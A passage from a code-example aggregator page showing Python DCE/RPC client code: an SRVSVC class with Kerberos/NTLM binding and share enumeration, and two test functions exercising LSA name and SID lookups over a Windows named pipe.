        SRVSVC.__init__(self, host, port)
        self.username = None
        self.password = None
        self.domain = None
        self.kerberos_db = None
        self.use_krb5 = False

    def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False):
        if username:
            self.username = username
        if password:
            self.password = password
        if domain:
            self.domain = domain
        if kerberos_db:
            self.kerberos_db = kerberos_db
            self.use_krb5 = True
        else:
            if use_krb5:
                self.use_krb5 = use_krb5

    def __bind_krb5(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain,
                              kerberos_db=self.kerberos_db,
                              use_krb5=True)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind_ntlm(self, connector):

        try:
            self.dce = DCERPC(connector,
                              getsock=None,
                              username=self.username,
                              password=self.password,
                              domain=self.domain)

            return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        except Exception as e:
            return 0

    def __bind(self, connector):

        if self.use_krb5:
            ret = self.__bind_krb5(connector)
            if not ret:
                return self.__bind_ntlm(connector)
        else:
            ret = self.__bind_ntlm(connector)
            if not ret:
                return self.__bind_krb5(connector)
        return 1


    def bind(self):
        """
        Perform a binding with the server.
        0 is returned on failure.
        """

        connectionlist = []
        connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host)
        connectionlist.append(u'ncacn_np:%s[\\srvsvc]' % self.host)
        connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host,self.port))
        connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host,self.port))

        for connector in connectionlist:
            ret = self.__bind(connector)
            if ret:
                return 1

        return 0


    def get_reply(self):
        return self.dce.reassembled_data

    def share_get_info(self, NetName):
        data = NetrShareGetInfoRequest(ServerName='', NetName=NetName).pack()
        self.dce.call(SRVSVC_COM_NET_SHARE_GET_INFO, data, response=True)
        if len(self.get_reply()) < 4:
            raise Exception('share_get_info() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        if status == 0:
            resp = NetrShareGetInfoResponse(self.get_reply())
            return resp.get_info()
        else:
            raise Exception('share_get_info() failed with status=%d.'% status)

    def share_enum(self, with_comments=True):
        """
        Fetches the list of shares available on the system
        SRVSVCShareEnumException is raised on failure
        """

        Level=0
        if with_comments:
            Level=1

        try:
            data = NetrShareEnumRequest(ServerName='', Level=Level).pack()
        except Exception as e:
            raise SRVSVCShareEnumException('share_enum() failed to build the request.')

        self.dce.call(SRVSVC_COM_NET_SHARE_ENUM_ALL, data, response=True)
        if len(self.get_reply()) < 4:
            raise SRVSVCShareEnumException('share_enum() call was not correct.')

        status = unpack('<L', self.get_reply()[-4:])[0]
        if status == 0:
            try:
                resp = NetrShareEnumResponse(self.get_reply())
                return resp.get_shares()
            except Exception as e:
                raise SRVSVCShareEnumException('share_enum() failed: Parsing error in the answer.')
        if status == 5:
            raise SRVSVCShareEnumAccessDeniedException()
        else:
            raise SRVSVCShareEnumException('share_enum() failed.', status=status)
Exemplo n.º 7
0
def do_test():

    dce = DCERPC(u'ncacn_np:%s[\\lsarpc]' % HOST, getsock=None)
    dce.max_dcefrag = 100
    dce.bind(u'12345778-1234-abcd-ef00-0123456789ab', u'0.0',
             RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)

    # 1. Open
    data = lsa.LSAOpenPolicy2Request(
        SystemName='\\\\%s' % HOST,
        DesiredAccess=lsa.LSA_POLICY_LOOKUP_NAMES).pack()
    dce.call(lsa.LSA_COM_OPEN_POLICY2, data, response=True)
    policy_handle = lsa.LSAOpenPolicy2Response(
        dce.reassembled_data).get_handle()

    # 2. Perform a lookup with valid names
    data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle,
                                      NamesArray=USERS).pack()
    dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status == 0:
        resp = lsa.LSALookupNames3Response(dce.reassembled_data)
        domains = resp.get_domains()
        sids = resp.get_sids()
        print sids
        sids2 = [sid['Sid'] for sid in sids]
        if sids2 != SIDS:
            return False
    else:
        return False

    # 3. Perform a lookup with invalid names
    data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle,
                                      NamesArray=USERS + ['notvalid']).pack()
    dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status != 0x107:  # STATUS_SOME_NOT_MAPPED
        return False

    # 4. Perform a lookup with valid Sids
    data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle,
                                    Sids=SIDS).pack()
    data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status == 0:
        resp = lsa.LSALookupSidsResponse(dce.reassembled_data)
        domains = resp.get_domains()
        names = resp.get_names()
    else:
        return False

    # 5. Perform a lookup with invalid Sids
    data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle,
                                    Sids=SIDS + ['S-1-1337']).pack()
    data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status != 0x107:  # STATUS_SOME_NOT_MAPPED
        return False

    # 6. Destroy the handle
    data = lsa.LSACloseRequest(PolicyHandle=policy_handle).pack()
    dce.call(lsa.LSA_COM_CLOSE, data, response=True)
    ret = lsa.LSACloseResponse(dce.reassembled_data).get_return_value()
    if ret:
        return False

    # Good :)
    return True
Exemplo n.º 8
0
def do_test():

    dce = DCERPC(u'ncacn_np:%s[\\lsarpc]' % HOST,
                 getsock=None,
                 username=USERNAME,
                 password=PASSWORD)
    dce.max_dcefrag = 100
    dce.bind(u'12345778-1234-abcd-ef00-0123456789ab', u'0.0',
             RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)

    # 1. Open
    data = lsa.LSAOpenPolicy2Request(
        SystemName='\\\\%s' % HOST,
        DesiredAccess=lsa.LSA_POLICY_LOOKUP_NAMES).pack()
    dce.call(lsa.LSA_COM_OPEN_POLICY2, data, response=True)
    policy_handle = lsa.LSAOpenPolicy2Response(
        dce.reassembled_data).get_handle()

    # 2. Perform a lookup with valid names
    data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle,
                                      NamesArray=USERS).pack()
    dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True)
    answer = dce.reassembled_data[:-4]
    if not answer or len(answer) < 4:
        logging.error(
            '[-] Failure! lsa.LSALookupNames3Request() did not return an answer.'
        )
        return False
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status == 0:
        resp = lsa.LSALookupNames3Response(dce.reassembled_data)
        domains = resp.get_domains()
        sids = resp.get_sids()
        logging.info(sids)
        SIDS = [sid['Sid'] for sid in sids]
        for s in SIDS:
            rid = int(s.split('-')[-1])
            if rid != 500 and (rid < 1100 or rid > 1200):
                return False
    else:
        return False

    # 3. Perform a lookup with invalid names
    data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle,
                                      NamesArray=USERS + ['notvalid']).pack()
    dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status != 0x107:  # STATUS_SOME_NOT_MAPPED
        return False

    # 4. Perform a lookup with valid Sids
    data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle,
                                    Sids=SIDS).pack()
    data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status == 0:
        resp = lsa.LSALookupSidsResponse(dce.reassembled_data)
        domains = resp.get_domains()
        names = resp.get_names()
    else:
        return False

    # 5. Perform a lookup with invalid Sids
    data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle,
                                    Sids=SIDS + ['S-1-1337']).pack()
    data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True)
    answer = dce.reassembled_data[:-4]
    status = unpack('<L', dce.reassembled_data[-4:])[0]
    if status != 0xc0000078:  # STATUS_INVALID_SID
        return False

    # 6. Destroy the handle
    data = lsa.LSACloseRequest(PolicyHandle=policy_handle).pack()
    dce.call(lsa.LSA_COM_CLOSE, data, response=True)
    ret = lsa.LSACloseResponse(dce.reassembled_data).get_return_value()
    if ret:
        return False

    # Good :)
    return True